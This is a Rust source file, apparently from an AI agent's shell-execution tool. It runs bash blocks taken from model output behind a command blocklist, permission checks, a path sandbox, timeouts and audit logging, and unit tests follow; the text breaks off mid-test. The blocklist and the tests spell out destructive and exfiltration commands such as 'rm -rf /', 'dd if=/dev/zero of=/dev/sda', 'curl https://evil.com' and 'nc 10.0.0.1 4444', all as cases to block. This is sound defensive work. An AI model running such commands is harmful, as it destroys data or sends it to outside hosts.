1use std::path::PathBuf;
5use std::time::{Duration, Instant};
6
7use tokio::process::Command;
8use tokio_util::sync::CancellationToken;
9
10use schemars::JsonSchema;
11use serde::Deserialize;
12
13use crate::audit::{AuditEntry, AuditLogger, AuditResult};
14use crate::config::ShellConfig;
15use crate::executor::{
16 FilterStats, ToolCall, ToolError, ToolEvent, ToolEventTx, ToolExecutor, ToolOutput,
17};
18use crate::filter::{OutputFilterRegistry, sanitize_output};
19use crate::permissions::{PermissionAction, PermissionPolicy};
20
21const DEFAULT_BLOCKED: &[&str] = &[
22 "rm -rf /", "sudo", "mkfs", "dd if=", "curl", "wget", "nc ", "ncat", "netcat", "shutdown",
23 "reboot", "halt",
24];
25
26pub const DEFAULT_BLOCKED_COMMANDS: &[&str] = DEFAULT_BLOCKED;
31
32pub const SHELL_INTERPRETERS: &[&str] =
34 &["bash", "sh", "zsh", "fish", "dash", "ksh", "csh", "tcsh"];
35
36const SUBSHELL_METACHARS: &[&str] = &["$(", "`"];
40
41#[must_use]
49pub fn check_blocklist(command: &str, blocklist: &[String]) -> Option<String> {
50 let lower = command.to_lowercase();
51 for meta in SUBSHELL_METACHARS {
53 if lower.contains(meta) {
54 return Some((*meta).to_owned());
55 }
56 }
57 let cleaned = strip_shell_escapes(&lower);
58 let commands = tokenize_commands(&cleaned);
59 for blocked in blocklist {
60 for cmd_tokens in &commands {
61 if tokens_match_pattern(cmd_tokens, blocked) {
62 return Some(blocked.clone());
63 }
64 }
65 }
66 None
67}
68
69#[must_use]
74pub fn effective_shell_command<'a>(binary: &str, args: &'a [String]) -> Option<&'a str> {
75 let base = binary.rsplit('/').next().unwrap_or(binary);
76 if !SHELL_INTERPRETERS.contains(&base) {
77 return None;
78 }
79 let pos = args.iter().position(|a| a == "-c")?;
81 args.get(pos + 1).map(String::as_str)
82}
83
84const NETWORK_COMMANDS: &[&str] = &["curl", "wget", "nc ", "ncat", "netcat"];
85
86#[derive(Deserialize, JsonSchema)]
87pub(crate) struct BashParams {
88 command: String,
90}
91
92#[derive(Debug)]
94pub struct ShellExecutor {
95 timeout: Duration,
96 blocked_commands: Vec<String>,
97 allowed_paths: Vec<PathBuf>,
98 confirm_patterns: Vec<String>,
99 audit_logger: Option<AuditLogger>,
100 tool_event_tx: Option<ToolEventTx>,
101 permission_policy: Option<PermissionPolicy>,
102 output_filter_registry: Option<OutputFilterRegistry>,
103 cancel_token: Option<CancellationToken>,
104 skill_env: std::sync::RwLock<Option<std::collections::HashMap<String, String>>>,
105}
106
107impl ShellExecutor {
108 #[must_use]
109 pub fn new(config: &ShellConfig) -> Self {
110 let allowed: Vec<String> = config
111 .allowed_commands
112 .iter()
113 .map(|s| s.to_lowercase())
114 .collect();
115
116 let mut blocked: Vec<String> = DEFAULT_BLOCKED
117 .iter()
118 .filter(|s| !allowed.contains(&s.to_lowercase()))
119 .map(|s| (*s).to_owned())
120 .collect();
121 blocked.extend(config.blocked_commands.iter().map(|s| s.to_lowercase()));
122
123 if !config.allow_network {
124 for cmd in NETWORK_COMMANDS {
125 let lower = cmd.to_lowercase();
126 if !blocked.contains(&lower) {
127 blocked.push(lower);
128 }
129 }
130 }
131
132 blocked.sort();
133 blocked.dedup();
134
135 let allowed_paths = if config.allowed_paths.is_empty() {
136 vec![std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."))]
137 } else {
138 config.allowed_paths.iter().map(PathBuf::from).collect()
139 };
140
141 Self {
142 timeout: Duration::from_secs(config.timeout),
143 blocked_commands: blocked,
144 allowed_paths,
145 confirm_patterns: config.confirm_patterns.clone(),
146 audit_logger: None,
147 tool_event_tx: None,
148 permission_policy: None,
149 output_filter_registry: None,
150 cancel_token: None,
151 skill_env: std::sync::RwLock::new(None),
152 }
153 }
154
155 pub fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
157 match self.skill_env.write() {
158 Ok(mut guard) => *guard = env,
159 Err(e) => tracing::error!("skill_env RwLock poisoned: {e}"),
160 }
161 }
162
163 #[must_use]
164 pub fn with_audit(mut self, logger: AuditLogger) -> Self {
165 self.audit_logger = Some(logger);
166 self
167 }
168
169 #[must_use]
170 pub fn with_tool_event_tx(mut self, tx: ToolEventTx) -> Self {
171 self.tool_event_tx = Some(tx);
172 self
173 }
174
175 #[must_use]
176 pub fn with_permissions(mut self, policy: PermissionPolicy) -> Self {
177 self.permission_policy = Some(policy);
178 self
179 }
180
181 #[must_use]
182 pub fn with_cancel_token(mut self, token: CancellationToken) -> Self {
183 self.cancel_token = Some(token);
184 self
185 }
186
187 #[must_use]
188 pub fn with_output_filters(mut self, registry: OutputFilterRegistry) -> Self {
189 self.output_filter_registry = Some(registry);
190 self
191 }
192
193 pub async fn execute_confirmed(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
199 self.execute_inner(response, true).await
200 }
201
202 #[allow(clippy::too_many_lines)]
203 async fn execute_inner(
204 &self,
205 response: &str,
206 skip_confirm: bool,
207 ) -> Result<Option<ToolOutput>, ToolError> {
208 let blocks = extract_bash_blocks(response);
209 if blocks.is_empty() {
210 return Ok(None);
211 }
212
213 let mut outputs = Vec::with_capacity(blocks.len());
214 let mut cumulative_filter_stats: Option<FilterStats> = None;
215 #[allow(clippy::cast_possible_truncation)]
216 let blocks_executed = blocks.len() as u32;
217
218 for block in &blocks {
219 if let Some(ref policy) = self.permission_policy {
220 match policy.check("bash", block) {
221 PermissionAction::Deny => {
222 self.log_audit(
223 block,
224 AuditResult::Blocked {
225 reason: "denied by permission policy".to_owned(),
226 },
227 0,
228 )
229 .await;
230 return Err(ToolError::Blocked {
231 command: (*block).to_owned(),
232 });
233 }
234 PermissionAction::Ask if !skip_confirm => {
235 return Err(ToolError::ConfirmationRequired {
236 command: (*block).to_owned(),
237 });
238 }
239 _ => {}
240 }
241 } else {
242 if let Some(blocked) = self.find_blocked_command(block) {
243 self.log_audit(
244 block,
245 AuditResult::Blocked {
246 reason: format!("blocked command: {blocked}"),
247 },
248 0,
249 )
250 .await;
251 return Err(ToolError::Blocked {
252 command: blocked.to_owned(),
253 });
254 }
255
256 if !skip_confirm && let Some(pattern) = self.find_confirm_command(block) {
257 return Err(ToolError::ConfirmationRequired {
258 command: pattern.to_owned(),
259 });
260 }
261 }
262
263 self.validate_sandbox(block)?;
264
265 if let Some(ref tx) = self.tool_event_tx {
266 let _ = tx.send(ToolEvent::Started {
267 tool_name: "bash".to_owned(),
268 command: (*block).to_owned(),
269 });
270 }
271
272 let start = Instant::now();
273 let skill_env_snapshot: Option<std::collections::HashMap<String, String>> =
274 self.skill_env.read().ok().and_then(|g| g.clone());
275 let (out, exit_code) = execute_bash(
276 block,
277 self.timeout,
278 self.tool_event_tx.as_ref(),
279 self.cancel_token.as_ref(),
280 skill_env_snapshot.as_ref(),
281 )
282 .await;
283 if exit_code == 130
284 && self
285 .cancel_token
286 .as_ref()
287 .is_some_and(CancellationToken::is_cancelled)
288 {
289 return Err(ToolError::Cancelled);
290 }
291 #[allow(clippy::cast_possible_truncation)]
292 let duration_ms = start.elapsed().as_millis() as u64;
293
294 let result = if out.contains("[error]") {
295 AuditResult::Error {
296 message: out.clone(),
297 }
298 } else if out.contains("timed out") {
299 AuditResult::Timeout
300 } else {
301 AuditResult::Success
302 };
303 self.log_audit(block, result, duration_ms).await;
304
305 let sanitized = sanitize_output(&out);
306 let mut per_block_stats: Option<FilterStats> = None;
307 let filtered = if let Some(ref registry) = self.output_filter_registry {
308 match registry.apply(block, &sanitized, exit_code) {
309 Some(fr) => {
310 tracing::debug!(
311 command = block,
312 raw = fr.raw_chars,
313 filtered = fr.filtered_chars,
314 savings_pct = fr.savings_pct(),
315 "output filter applied"
316 );
317 let block_fs = FilterStats {
318 raw_chars: fr.raw_chars,
319 filtered_chars: fr.filtered_chars,
320 raw_lines: fr.raw_lines,
321 filtered_lines: fr.filtered_lines,
322 confidence: Some(fr.confidence),
323 command: Some((*block).to_owned()),
324 kept_lines: fr.kept_lines.clone(),
325 };
326 let stats =
327 cumulative_filter_stats.get_or_insert_with(FilterStats::default);
328 stats.raw_chars += fr.raw_chars;
329 stats.filtered_chars += fr.filtered_chars;
330 stats.raw_lines += fr.raw_lines;
331 stats.filtered_lines += fr.filtered_lines;
332 stats.confidence = Some(match (stats.confidence, fr.confidence) {
333 (Some(prev), cur) => crate::filter::worse_confidence(prev, cur),
334 (None, cur) => cur,
335 });
336 if stats.command.is_none() {
337 stats.command = Some((*block).to_owned());
338 }
339 if stats.kept_lines.is_empty() && !fr.kept_lines.is_empty() {
340 stats.kept_lines.clone_from(&fr.kept_lines);
341 }
342 per_block_stats = Some(block_fs);
343 fr.output
344 }
345 None => sanitized,
346 }
347 } else {
348 sanitized
349 };
350
351 if let Some(ref tx) = self.tool_event_tx {
352 let _ = tx.send(ToolEvent::Completed {
353 tool_name: "bash".to_owned(),
354 command: (*block).to_owned(),
355 output: out.clone(),
356 success: !out.contains("[error]"),
357 filter_stats: per_block_stats,
358 diff: None,
359 });
360 }
361 outputs.push(format!("$ {block}\n{filtered}"));
362 }
363
364 Ok(Some(ToolOutput {
365 tool_name: "bash".to_owned(),
366 summary: outputs.join("\n\n"),
367 blocks_executed,
368 filter_stats: cumulative_filter_stats,
369 diff: None,
370 streamed: self.tool_event_tx.is_some(),
371 terminal_id: None,
372 locations: None,
373 raw_response: None,
374 }))
375 }
376
377 fn validate_sandbox(&self, code: &str) -> Result<(), ToolError> {
378 let cwd = std::env::current_dir().unwrap_or_default();
379
380 for token in extract_paths(code) {
381 if has_traversal(&token) {
382 return Err(ToolError::SandboxViolation { path: token });
383 }
384
385 let path = if token.starts_with('/') {
386 PathBuf::from(&token)
387 } else {
388 cwd.join(&token)
389 };
390 let canonical = path
391 .canonicalize()
392 .or_else(|_| std::path::absolute(&path))
393 .unwrap_or(path);
394 if !self
395 .allowed_paths
396 .iter()
397 .any(|allowed| canonical.starts_with(allowed))
398 {
399 return Err(ToolError::SandboxViolation {
400 path: canonical.display().to_string(),
401 });
402 }
403 }
404 Ok(())
405 }
406
407 fn find_blocked_command(&self, code: &str) -> Option<&str> {
445 let cleaned = strip_shell_escapes(&code.to_lowercase());
446 let commands = tokenize_commands(&cleaned);
447 for blocked in &self.blocked_commands {
448 for cmd_tokens in &commands {
449 if tokens_match_pattern(cmd_tokens, blocked) {
450 return Some(blocked.as_str());
451 }
452 }
453 }
454 None
455 }
456
457 fn find_confirm_command(&self, code: &str) -> Option<&str> {
458 let normalized = code.to_lowercase();
459 for pattern in &self.confirm_patterns {
460 if normalized.contains(pattern.as_str()) {
461 return Some(pattern.as_str());
462 }
463 }
464 None
465 }
466
467 async fn log_audit(&self, command: &str, result: AuditResult, duration_ms: u64) {
468 if let Some(ref logger) = self.audit_logger {
469 let entry = AuditEntry {
470 timestamp: chrono_now(),
471 tool: "shell".into(),
472 command: command.into(),
473 result,
474 duration_ms,
475 };
476 logger.log(&entry).await;
477 }
478 }
479}
480
481impl ToolExecutor for ShellExecutor {
482 async fn execute(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
483 self.execute_inner(response, false).await
484 }
485
486 fn tool_definitions(&self) -> Vec<crate::registry::ToolDef> {
487 use crate::registry::{InvocationHint, ToolDef};
488 vec![ToolDef {
489 id: "bash".into(),
490 description: "Execute a shell command".into(),
491 schema: schemars::schema_for!(BashParams),
492 invocation: InvocationHint::FencedBlock("bash"),
493 }]
494 }
495
496 async fn execute_tool_call(&self, call: &ToolCall) -> Result<Option<ToolOutput>, ToolError> {
497 if call.tool_id != "bash" {
498 return Ok(None);
499 }
500 let params: BashParams = crate::executor::deserialize_params(&call.params)?;
501 if params.command.is_empty() {
502 return Ok(None);
503 }
504 let command = ¶ms.command;
505 let synthetic = format!("```bash\n{command}\n```");
507 self.execute_inner(&synthetic, false).await
508 }
509
510 fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
511 ShellExecutor::set_skill_env(self, env);
512 }
513}
514
515pub(crate) fn strip_shell_escapes(input: &str) -> String {
519 let mut out = String::with_capacity(input.len());
520 let bytes = input.as_bytes();
521 let mut i = 0;
522 while i < bytes.len() {
523 if i + 1 < bytes.len() && bytes[i] == b'$' && bytes[i + 1] == b'\'' {
525 let mut j = i + 2; let mut decoded = String::new();
527 let mut valid = false;
528 while j < bytes.len() && bytes[j] != b'\'' {
529 if bytes[j] == b'\\' && j + 1 < bytes.len() {
530 let next = bytes[j + 1];
531 if next == b'x' && j + 3 < bytes.len() {
532 let hi = (bytes[j + 2] as char).to_digit(16);
534 let lo = (bytes[j + 3] as char).to_digit(16);
535 if let (Some(h), Some(l)) = (hi, lo) {
536 #[allow(clippy::cast_possible_truncation)]
537 let byte = ((h << 4) | l) as u8;
538 decoded.push(byte as char);
539 j += 4;
540 valid = true;
541 continue;
542 }
543 } else if next.is_ascii_digit() {
544 let mut val = u32::from(next - b'0');
546 let mut len = 2; if j + 2 < bytes.len() && bytes[j + 2].is_ascii_digit() {
548 val = val * 8 + u32::from(bytes[j + 2] - b'0');
549 len = 3;
550 if j + 3 < bytes.len() && bytes[j + 3].is_ascii_digit() {
551 val = val * 8 + u32::from(bytes[j + 3] - b'0');
552 len = 4;
553 }
554 }
555 #[allow(clippy::cast_possible_truncation)]
556 decoded.push((val & 0xFF) as u8 as char);
557 j += len;
558 valid = true;
559 continue;
560 }
561 decoded.push(next as char);
563 j += 2;
564 } else {
565 decoded.push(bytes[j] as char);
566 j += 1;
567 }
568 }
569 if j < bytes.len() && bytes[j] == b'\'' && valid {
570 out.push_str(&decoded);
571 i = j + 1;
572 continue;
573 }
574 }
576 if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] == b'\n' {
578 i += 2;
579 continue;
580 }
581 if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] != b'\n' {
583 i += 1;
584 out.push(bytes[i] as char);
585 i += 1;
586 continue;
587 }
588 if bytes[i] == b'"' || bytes[i] == b'\'' {
590 let quote = bytes[i];
591 i += 1;
592 while i < bytes.len() && bytes[i] != quote {
593 out.push(bytes[i] as char);
594 i += 1;
595 }
596 if i < bytes.len() {
597 i += 1; }
599 continue;
600 }
601 out.push(bytes[i] as char);
602 i += 1;
603 }
604 out
605}
606
607pub(crate) fn tokenize_commands(normalized: &str) -> Vec<Vec<String>> {
610 let replaced = normalized.replace("||", "\n").replace("&&", "\n");
612 replaced
613 .split([';', '|', '\n'])
614 .map(|seg| {
615 seg.split_whitespace()
616 .map(str::to_owned)
617 .collect::<Vec<String>>()
618 })
619 .filter(|tokens| !tokens.is_empty())
620 .collect()
621}
622
623const TRANSPARENT_PREFIXES: &[&str] = &["env", "command", "exec", "nice", "nohup", "time", "xargs"];
626
627fn cmd_basename(tok: &str) -> &str {
629 tok.rsplit('/').next().unwrap_or(tok)
630}
631
632pub(crate) fn tokens_match_pattern(tokens: &[String], pattern: &str) -> bool {
639 if tokens.is_empty() || pattern.is_empty() {
640 return false;
641 }
642 let pattern = pattern.trim();
643 let pattern_tokens: Vec<&str> = pattern.split_whitespace().collect();
644 if pattern_tokens.is_empty() {
645 return false;
646 }
647
648 let start = tokens
650 .iter()
651 .position(|t| !TRANSPARENT_PREFIXES.contains(&cmd_basename(t)))
652 .unwrap_or(0);
653 let effective = &tokens[start..];
654 if effective.is_empty() {
655 return false;
656 }
657
658 if pattern_tokens.len() == 1 {
659 let pat = pattern_tokens[0];
660 let base = cmd_basename(&effective[0]);
661 base == pat || base.starts_with(&format!("{pat}."))
663 } else {
664 let n = pattern_tokens.len().min(effective.len());
666 let mut parts: Vec<&str> = vec![cmd_basename(&effective[0])];
667 parts.extend(effective[1..n].iter().map(String::as_str));
668 let joined = parts.join(" ");
669 if joined.starts_with(pattern) {
670 return true;
671 }
672 if effective.len() > n {
673 let mut parts2: Vec<&str> = vec![cmd_basename(&effective[0])];
674 parts2.extend(effective[1..=n].iter().map(String::as_str));
675 parts2.join(" ").starts_with(pattern)
676 } else {
677 false
678 }
679 }
680}
681
682fn extract_paths(code: &str) -> Vec<String> {
683 let mut result = Vec::new();
684
685 let mut tokens: Vec<String> = Vec::new();
687 let mut current = String::new();
688 let mut chars = code.chars().peekable();
689 while let Some(c) = chars.next() {
690 match c {
691 '"' | '\'' => {
692 let quote = c;
693 while let Some(&nc) = chars.peek() {
694 if nc == quote {
695 chars.next();
696 break;
697 }
698 current.push(chars.next().unwrap());
699 }
700 }
701 c if c.is_whitespace() || matches!(c, ';' | '|' | '&') => {
702 if !current.is_empty() {
703 tokens.push(std::mem::take(&mut current));
704 }
705 }
706 _ => current.push(c),
707 }
708 }
709 if !current.is_empty() {
710 tokens.push(current);
711 }
712
713 for token in tokens {
714 let trimmed = token.trim_end_matches([';', '&', '|']).to_owned();
715 if trimmed.is_empty() {
716 continue;
717 }
718 if trimmed.starts_with('/')
719 || trimmed.starts_with("./")
720 || trimmed.starts_with("../")
721 || trimmed == ".."
722 {
723 result.push(trimmed);
724 }
725 }
726 result
727}
728
729fn has_traversal(path: &str) -> bool {
730 path.split('/').any(|seg| seg == "..")
731}
732
733fn extract_bash_blocks(text: &str) -> Vec<&str> {
734 crate::executor::extract_fenced_blocks(text, "bash")
735}
736
737fn chrono_now() -> String {
738 use std::time::{SystemTime, UNIX_EPOCH};
739 let secs = SystemTime::now()
740 .duration_since(UNIX_EPOCH)
741 .unwrap_or_default()
742 .as_secs();
743 format!("{secs}")
744}
745
746async fn kill_process_tree(child: &mut tokio::process::Child) {
750 #[cfg(unix)]
751 if let Some(pid) = child.id() {
752 let _ = Command::new("pkill")
753 .args(["-KILL", "-P", &pid.to_string()])
754 .status()
755 .await;
756 }
757 let _ = child.kill().await;
758}
759
760async fn execute_bash(
761 code: &str,
762 timeout: Duration,
763 event_tx: Option<&ToolEventTx>,
764 cancel_token: Option<&CancellationToken>,
765 extra_env: Option<&std::collections::HashMap<String, String>>,
766) -> (String, i32) {
767 use std::process::Stdio;
768 use tokio::io::{AsyncBufReadExt, BufReader};
769
770 let timeout_secs = timeout.as_secs();
771
772 let mut cmd = Command::new("bash");
773 cmd.arg("-c")
774 .arg(code)
775 .stdout(Stdio::piped())
776 .stderr(Stdio::piped());
777 if let Some(env) = extra_env {
778 cmd.envs(env);
779 }
780 let child_result = cmd.spawn();
781
782 let mut child = match child_result {
783 Ok(c) => c,
784 Err(e) => return (format!("[error] {e}"), 1),
785 };
786
787 let stdout = child.stdout.take().expect("stdout piped");
788 let stderr = child.stderr.take().expect("stderr piped");
789
790 let (line_tx, mut line_rx) = tokio::sync::mpsc::channel::<String>(64);
791
792 let stdout_tx = line_tx.clone();
793 tokio::spawn(async move {
794 let mut reader = BufReader::new(stdout);
795 let mut buf = String::new();
796 while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
797 let _ = stdout_tx.send(buf.clone()).await;
798 buf.clear();
799 }
800 });
801
802 tokio::spawn(async move {
803 let mut reader = BufReader::new(stderr);
804 let mut buf = String::new();
805 while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
806 let _ = line_tx.send(format!("[stderr] {buf}")).await;
807 buf.clear();
808 }
809 });
810
811 let mut combined = String::new();
812 let deadline = tokio::time::Instant::now() + timeout;
813
814 loop {
815 tokio::select! {
816 line = line_rx.recv() => {
817 match line {
818 Some(chunk) => {
819 if let Some(tx) = event_tx {
820 let _ = tx.send(ToolEvent::OutputChunk {
821 tool_name: "bash".to_owned(),
822 command: code.to_owned(),
823 chunk: chunk.clone(),
824 });
825 }
826 combined.push_str(&chunk);
827 }
828 None => break,
829 }
830 }
831 () = tokio::time::sleep_until(deadline) => {
832 kill_process_tree(&mut child).await;
833 return (format!("[error] command timed out after {timeout_secs}s"), 1);
834 }
835 () = async {
836 match cancel_token {
837 Some(t) => t.cancelled().await,
838 None => std::future::pending().await,
839 }
840 } => {
841 kill_process_tree(&mut child).await;
842 return ("[cancelled] operation aborted".to_string(), 130);
843 }
844 }
845 }
846
847 let status = child.wait().await;
848 let exit_code = status.ok().and_then(|s| s.code()).unwrap_or(1);
849
850 if combined.is_empty() {
851 ("(no output)".to_string(), exit_code)
852 } else {
853 (combined, exit_code)
854 }
855}
856
857#[cfg(test)]
858mod tests {
859 use super::*;
860
861 fn default_config() -> ShellConfig {
862 ShellConfig {
863 timeout: 30,
864 blocked_commands: Vec::new(),
865 allowed_commands: Vec::new(),
866 allowed_paths: Vec::new(),
867 allow_network: true,
868 confirm_patterns: Vec::new(),
869 }
870 }
871
872 fn sandbox_config(allowed_paths: Vec<String>) -> ShellConfig {
873 ShellConfig {
874 allowed_paths,
875 ..default_config()
876 }
877 }
878
879 #[test]
880 fn extract_single_bash_block() {
881 let text = "Here is code:\n```bash\necho hello\n```\nDone.";
882 let blocks = extract_bash_blocks(text);
883 assert_eq!(blocks, vec!["echo hello"]);
884 }
885
886 #[test]
887 fn extract_multiple_bash_blocks() {
888 let text = "```bash\nls\n```\ntext\n```bash\npwd\n```";
889 let blocks = extract_bash_blocks(text);
890 assert_eq!(blocks, vec!["ls", "pwd"]);
891 }
892
893 #[test]
894 fn ignore_non_bash_blocks() {
895 let text = "```python\nprint('hi')\n```\n```bash\necho hi\n```";
896 let blocks = extract_bash_blocks(text);
897 assert_eq!(blocks, vec!["echo hi"]);
898 }
899
900 #[test]
901 fn no_blocks_returns_none() {
902 let text = "Just plain text, no code blocks.";
903 let blocks = extract_bash_blocks(text);
904 assert!(blocks.is_empty());
905 }
906
907 #[test]
908 fn unclosed_block_ignored() {
909 let text = "```bash\necho hello";
910 let blocks = extract_bash_blocks(text);
911 assert!(blocks.is_empty());
912 }
913
914 #[tokio::test]
915 #[cfg(not(target_os = "windows"))]
916 async fn execute_simple_command() {
917 let (result, code) =
918 execute_bash("echo hello", Duration::from_secs(30), None, None, None).await;
919 assert!(result.contains("hello"));
920 assert_eq!(code, 0);
921 }
922
923 #[tokio::test]
924 #[cfg(not(target_os = "windows"))]
925 async fn execute_stderr_output() {
926 let (result, _) =
927 execute_bash("echo err >&2", Duration::from_secs(30), None, None, None).await;
928 assert!(result.contains("[stderr]"));
929 assert!(result.contains("err"));
930 }
931
932 #[tokio::test]
933 #[cfg(not(target_os = "windows"))]
934 async fn execute_stdout_and_stderr_combined() {
935 let (result, _) = execute_bash(
936 "echo out && echo err >&2",
937 Duration::from_secs(30),
938 None,
939 None,
940 None,
941 )
942 .await;
943 assert!(result.contains("out"));
944 assert!(result.contains("[stderr]"));
945 assert!(result.contains("err"));
946 assert!(result.contains('\n'));
947 }
948
949 #[tokio::test]
950 #[cfg(not(target_os = "windows"))]
951 async fn execute_empty_output() {
952 let (result, code) = execute_bash("true", Duration::from_secs(30), None, None, None).await;
953 assert_eq!(result, "(no output)");
954 assert_eq!(code, 0);
955 }
956
957 #[tokio::test]
958 async fn blocked_command_rejected() {
959 let config = ShellConfig {
960 blocked_commands: vec!["rm -rf /".to_owned()],
961 ..default_config()
962 };
963 let executor = ShellExecutor::new(&config);
964 let response = "Run:\n```bash\nrm -rf /\n```";
965 let result = executor.execute(response).await;
966 assert!(matches!(result, Err(ToolError::Blocked { .. })));
967 }
968
969 #[tokio::test]
970 #[cfg(not(target_os = "windows"))]
971 async fn timeout_enforced() {
972 let config = ShellConfig {
973 timeout: 1,
974 ..default_config()
975 };
976 let executor = ShellExecutor::new(&config);
977 let response = "Run:\n```bash\nsleep 60\n```";
978 let result = executor.execute(response).await;
979 assert!(result.is_ok());
980 let output = result.unwrap().unwrap();
981 assert!(output.summary.contains("timed out"));
982 }
983
984 #[tokio::test]
985 async fn execute_no_blocks_returns_none() {
986 let executor = ShellExecutor::new(&default_config());
987 let result = executor.execute("plain text, no blocks").await;
988 assert!(result.is_ok());
989 assert!(result.unwrap().is_none());
990 }
991
992 #[tokio::test]
993 async fn execute_multiple_blocks_counted() {
994 let executor = ShellExecutor::new(&default_config());
995 let response = "```bash\necho one\n```\n```bash\necho two\n```";
996 let result = executor.execute(response).await;
997 let output = result.unwrap().unwrap();
998 assert_eq!(output.blocks_executed, 2);
999 assert!(output.summary.contains("one"));
1000 assert!(output.summary.contains("two"));
1001 }
1002
1003 #[test]
1006 fn default_blocked_always_active() {
1007 let executor = ShellExecutor::new(&default_config());
1008 assert!(executor.find_blocked_command("rm -rf /").is_some());
1009 assert!(executor.find_blocked_command("sudo apt install").is_some());
1010 assert!(
1011 executor
1012 .find_blocked_command("mkfs.ext4 /dev/sda")
1013 .is_some()
1014 );
1015 assert!(
1016 executor
1017 .find_blocked_command("dd if=/dev/zero of=disk")
1018 .is_some()
1019 );
1020 }
1021
1022 #[test]
1023 fn user_blocked_additive() {
1024 let config = ShellConfig {
1025 blocked_commands: vec!["custom-danger".to_owned()],
1026 ..default_config()
1027 };
1028 let executor = ShellExecutor::new(&config);
1029 assert!(executor.find_blocked_command("sudo rm").is_some());
1030 assert!(
1031 executor
1032 .find_blocked_command("custom-danger script")
1033 .is_some()
1034 );
1035 }
1036
1037 #[test]
1038 fn blocked_prefix_match() {
1039 let executor = ShellExecutor::new(&default_config());
1040 assert!(executor.find_blocked_command("rm -rf /home/user").is_some());
1041 }
1042
1043 #[test]
1044 fn blocked_infix_match() {
1045 let executor = ShellExecutor::new(&default_config());
1046 assert!(
1047 executor
1048 .find_blocked_command("echo hello && sudo rm")
1049 .is_some()
1050 );
1051 }
1052
1053 #[test]
1054 fn blocked_case_insensitive() {
1055 let executor = ShellExecutor::new(&default_config());
1056 assert!(executor.find_blocked_command("SUDO apt install").is_some());
1057 assert!(executor.find_blocked_command("Sudo apt install").is_some());
1058 assert!(executor.find_blocked_command("SuDo apt install").is_some());
1059 assert!(
1060 executor
1061 .find_blocked_command("MKFS.ext4 /dev/sda")
1062 .is_some()
1063 );
1064 assert!(executor.find_blocked_command("DD IF=/dev/zero").is_some());
1065 assert!(executor.find_blocked_command("RM -RF /").is_some());
1066 }
1067
1068 #[test]
1069 fn safe_command_passes() {
1070 let executor = ShellExecutor::new(&default_config());
1071 assert!(executor.find_blocked_command("echo hello").is_none());
1072 assert!(executor.find_blocked_command("ls -la").is_none());
1073 assert!(executor.find_blocked_command("cat file.txt").is_none());
1074 assert!(executor.find_blocked_command("cargo build").is_none());
1075 }
1076
1077 #[test]
1078 fn partial_match_accepted_tradeoff() {
1079 let executor = ShellExecutor::new(&default_config());
1080 assert!(executor.find_blocked_command("sudoku").is_none());
1082 }
1083
1084 #[test]
1085 fn multiline_command_blocked() {
1086 let executor = ShellExecutor::new(&default_config());
1087 assert!(executor.find_blocked_command("echo ok\nsudo rm").is_some());
1088 }
1089
1090 #[test]
1091 fn dd_pattern_blocks_dd_if() {
1092 let executor = ShellExecutor::new(&default_config());
1093 assert!(
1094 executor
1095 .find_blocked_command("dd if=/dev/zero of=/dev/sda")
1096 .is_some()
1097 );
1098 }
1099
1100 #[test]
1101 fn mkfs_pattern_blocks_variants() {
1102 let executor = ShellExecutor::new(&default_config());
1103 assert!(
1104 executor
1105 .find_blocked_command("mkfs.ext4 /dev/sda")
1106 .is_some()
1107 );
1108 assert!(executor.find_blocked_command("mkfs.xfs /dev/sdb").is_some());
1109 }
1110
1111 #[test]
1112 fn empty_command_not_blocked() {
1113 let executor = ShellExecutor::new(&default_config());
1114 assert!(executor.find_blocked_command("").is_none());
1115 }
1116
1117 #[test]
1118 fn duplicate_patterns_deduped() {
1119 let config = ShellConfig {
1120 blocked_commands: vec!["sudo".to_owned(), "sudo".to_owned()],
1121 ..default_config()
1122 };
1123 let executor = ShellExecutor::new(&config);
1124 let count = executor
1125 .blocked_commands
1126 .iter()
1127 .filter(|c| c.as_str() == "sudo")
1128 .count();
1129 assert_eq!(count, 1);
1130 }
1131
1132 #[tokio::test]
1133 async fn execute_default_blocked_returns_error() {
1134 let executor = ShellExecutor::new(&default_config());
1135 let response = "Run:\n```bash\nsudo rm -rf /tmp\n```";
1136 let result = executor.execute(response).await;
1137 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1138 }
1139
1140 #[tokio::test]
1141 async fn execute_case_insensitive_blocked() {
1142 let executor = ShellExecutor::new(&default_config());
1143 let response = "Run:\n```bash\nSUDO apt install foo\n```";
1144 let result = executor.execute(response).await;
1145 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1146 }
1147
1148 #[test]
1151 fn network_exfiltration_blocked() {
1152 let executor = ShellExecutor::new(&default_config());
1153 assert!(
1154 executor
1155 .find_blocked_command("curl https://evil.com")
1156 .is_some()
1157 );
1158 assert!(
1159 executor
1160 .find_blocked_command("wget http://evil.com/payload")
1161 .is_some()
1162 );
1163 assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1164 assert!(
1165 executor
1166 .find_blocked_command("ncat --listen 8080")
1167 .is_some()
1168 );
1169 assert!(executor.find_blocked_command("netcat -lvp 9999").is_some());
1170 }
1171
1172 #[test]
1173 fn system_control_blocked() {
1174 let executor = ShellExecutor::new(&default_config());
1175 assert!(executor.find_blocked_command("shutdown -h now").is_some());
1176 assert!(executor.find_blocked_command("reboot").is_some());
1177 assert!(executor.find_blocked_command("halt").is_some());
1178 }
1179
1180 #[test]
1181 fn nc_trailing_space_avoids_ncp() {
1182 let executor = ShellExecutor::new(&default_config());
1183 assert!(executor.find_blocked_command("ncp file.txt").is_none());
1184 }
1185
1186 #[test]
1189 fn mixed_case_user_patterns_deduped() {
1190 let config = ShellConfig {
1191 blocked_commands: vec!["Sudo".to_owned(), "sudo".to_owned(), "SUDO".to_owned()],
1192 ..default_config()
1193 };
1194 let executor = ShellExecutor::new(&config);
1195 let count = executor
1196 .blocked_commands
1197 .iter()
1198 .filter(|c| c.as_str() == "sudo")
1199 .count();
1200 assert_eq!(count, 1);
1201 }
1202
1203 #[test]
1204 fn user_pattern_stored_lowercase() {
1205 let config = ShellConfig {
